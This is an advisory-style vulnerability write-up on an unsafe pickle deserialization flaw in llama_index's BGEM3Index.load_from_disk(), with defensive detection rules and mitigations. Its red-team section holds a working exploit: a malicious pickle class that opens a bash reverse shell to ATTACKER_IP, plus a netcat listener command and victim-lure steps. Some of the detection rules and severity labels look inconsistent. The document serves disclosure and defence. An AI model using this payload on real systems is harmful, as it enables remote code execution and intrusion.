CVE-2024-14021

Executive Summary

CVE-2024-14021 is a critical unsafe deserialization vulnerability in the run-llama/llama_index Python library, specifically within the BGEM3Index.load_from_disk() method. The vulnerability exists in versions up to and including 0.11.6. The function uses Python's pickle.load() to deserialize a file named multi_embed_store.pkl from a user-supplied persist_dir without any validation. An attacker who can provide a crafted persist_dir containing a malicious pickle file can trigger arbitrary code execution when the victim loads the index from disk. This is a classic CWE-502: Deserialization of Untrusted Data vulnerability.

Supply Chain & Package Security

This vulnerability affects the llama_index Python package, which is distributed via PyPI. The package is widely used in AI/ML pipelines for building and managing indexes. The attack vector relies on social engineering or supply chain compromise where an attacker can place a malicious persist_dir on a victim's filesystem (e.g., via a malicious dataset download, a compromised CI/CD pipeline, or a shared storage volume). Since the package is open-source and the vulnerability is unpatched, all users of affected versions are at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can deliver the malicious persist_dir over the network (e.g., via a download link or shared storage).
• Attack Complexity (AC): Low (L) – No special conditions required; the attacker only needs to provide a crafted pickle file.
• Privileges Required (PR): None (N) – The attacker does not need any privileges.
• User Interaction (UI): Required (R) – The victim must load the index from the attacker-controlled persist_dir.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) – The attacker can modify data or system state.
• Availability (A): High (H) – The attacker can crash the process or cause denial of service.

CVSS Score: 8.8 (High) – This is a critical vulnerability due to the ease of exploitation and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability resides in llama_index/indices/managed/bge_m3/base.py. The BGEM3Index.load_from_disk() method is designed to load a previously saved index from a directory. The relevant code snippet is:

def load_from_disk(cls, persist_dir: str, **kwargs):
    # ... other code ...
    with open(os.path.join(persist_dir, "multi_embed_store.pkl"), "rb") as f:
        multi_embed_store = pickle.load(f)
    # ... rest of the method ...

The pickle.load() function is inherently dangerous when used on untrusted data. Python's pickle protocol allows the serialization of arbitrary Python objects, including those that execute code during deserialization (e.g., via __reduce__ or __reduce_ex__ methods). An attacker can craft a malicious pickle file that, when loaded, executes arbitrary commands on the victim's system.

The attack flow is:

1. Attacker creates a directory containing a malicious multi_embed_store.pkl file.
2. Attacker tricks the victim into calling BGEM3Index.load_from_disk() with the attacker-controlled persist_dir.
3. The victim's Python process deserializes the pickle, triggering the attacker's payload.
4. The attacker gains code execution in the context of the victim's application.

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.11.6):

# llama_index/indices/managed/bge_m3/base.py
def load_from_disk(cls, persist_dir: str, **kwargs):
    # ... other code ...
    with open(os.path.join(persist_dir, "multi_embed_store.pkl"), "rb") as f:
        multi_embed_store = pickle.load(f)  # UNSAFE
    # ... rest of the method ...

Patched Code (Hypothetical – No official patch available):

# llama_index/indices/managed/bge_m3/base.py
import json
import hmac
import hashlib

def load_from_disk(cls, persist_dir: str, **kwargs):
    # ... other code ...
    # Use a safe serialization format like JSON or a signed pickle
    with open(os.path.join(persist_dir, "multi_embed_store.json"), "r") as f:
        multi_embed_store = json.load(f)  # SAFE
    # OR use pickle with a signature verification
    # with open(os.path.join(persist_dir, "multi_embed_store.pkl"), "rb") as f:
    #     data = f.read()
    #     if not verify_signature(data, expected_signature):
    #         raise ValueError("Invalid signature")
    #     multi_embed_store = pickle.loads(data)
    # ... rest of the method ...

The patched version should replace pickle.load() with a safe deserialization method (e.g., json.load()) or implement cryptographic signature verification to ensure the pickle file is from a trusted source.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: A Python environment with llama_index <= 0.11.6 installed.
• Attacker: A machine with Python and the ability to create a malicious pickle file.

Exploit Code:

import pickle
import os

class Exploit:
    def __reduce__(self):
        # This will execute a reverse shell (replace with your IP and port)
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

# Create the malicious pickle file
malicious_pickle = pickle.dumps(Exploit())

# Write it to the expected path
os.makedirs("malicious_persist_dir", exist_ok=True)
with open("malicious_persist_dir/multi_embed_store.pkl", "wb") as f:
    f.write(malicious_pickle)

print("Malicious persist_dir created. Share this directory with the victim.")

Usage:

1. Run the exploit script to create malicious_persist_dir/multi_embed_store.pkl.
2. Start a listener on the attacker machine: nc -lvnp 4444.
3. Trick the victim into running:

   from llama_index.indices.managed.bge_m3 import BGEM3Index
   BGEM3Index.load_from_disk("malicious_persist_dir")
   

4. The victim's machine will connect back to the attacker's listener, giving a shell.

Blue Team (Defender)

Detection:

• Monitor for unusual file access patterns, especially multi_embed_store.pkl being loaded from non-standard paths.
• Use endpoint detection and response (EDR) to detect pickle.load() calls on untrusted files.
• Implement file integrity monitoring (FIM) on directories containing pickle files.

Mitigation:

• Do not use BGEM3Index.load_from_disk() with untrusted persist_dir values.
• If you must use it, ensure the persist_dir is from a trusted source and validate the pickle file's integrity (e.g., using a checksum or digital signature).
• Consider using a sandboxed environment (e.g., Docker container) to run the vulnerable code.

Indicators of Compromise (IOCs)

• File: multi_embed_store.pkl in unexpected locations.
• Process: Python process calling pickle.load() on a file named multi_embed_store.pkl.
• Network: Outbound connections to attacker-controlled IPs on common reverse shell ports (e.g., 4444, 1337).
• System: Unusual child processes spawned by Python (e.g., bash, sh, nc, powershell).
• Registry/File System: Creation of files in temporary directories or user-writable paths.

Detection Engineering

YARA Rule

rule CVE_2024_14021_Unsafe_Deserialization {
    meta:
        description = "Detects malicious pickle files targeting CVE-2024-14021"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-14021"
    strings:
        $pickle_magic = { 80 04 95 } // Pickle protocol 4 magic bytes
        $exploit_class = "Exploit" nocase
        $os_system = "os.system" nocase
        $subprocess = "subprocess" nocase
    condition:
        $pickle_magic at 0 and ($exploit_class or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2024-14021 Unsafe Pickle Deserialization
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the use of pickle.load() on a file named multi_embed_store.pkl
author: Valters IT
date: 2024-10-27
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains: 'pickle.load'
        CommandLine|contains: 'multi_embed_store.pkl'
    condition: selection
falsepositives:
    - Legitimate use of pickle in controlled environments
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-14021 Potential Reverse Shell from Python"; flow:to_server,established; content:"|80 04 95|"; depth:3; content:"os.system"; nocase; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Do not use BGEM3Index.load_from_disk() with untrusted persist_dir values. If you must load indexes, ensure the directory is from a trusted source.
2. Patch: No official patch is available. Monitor the llama_index repository for updates. As a workaround, consider forking the repository and replacing pickle.load() with a safe alternative (e.g., json.load() or pickle.loads() with signature verification).
3. Long-term: Implement input validation and use safe serialization formats (e.g., JSON, Protocol Buffers) for all data that may come from untrusted sources.
4. Monitoring: Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
5. Network Segmentation: Restrict outbound connections from systems running llama_index to prevent reverse shells.

Valters IT – Securing the digital frontier, one CVE at a time.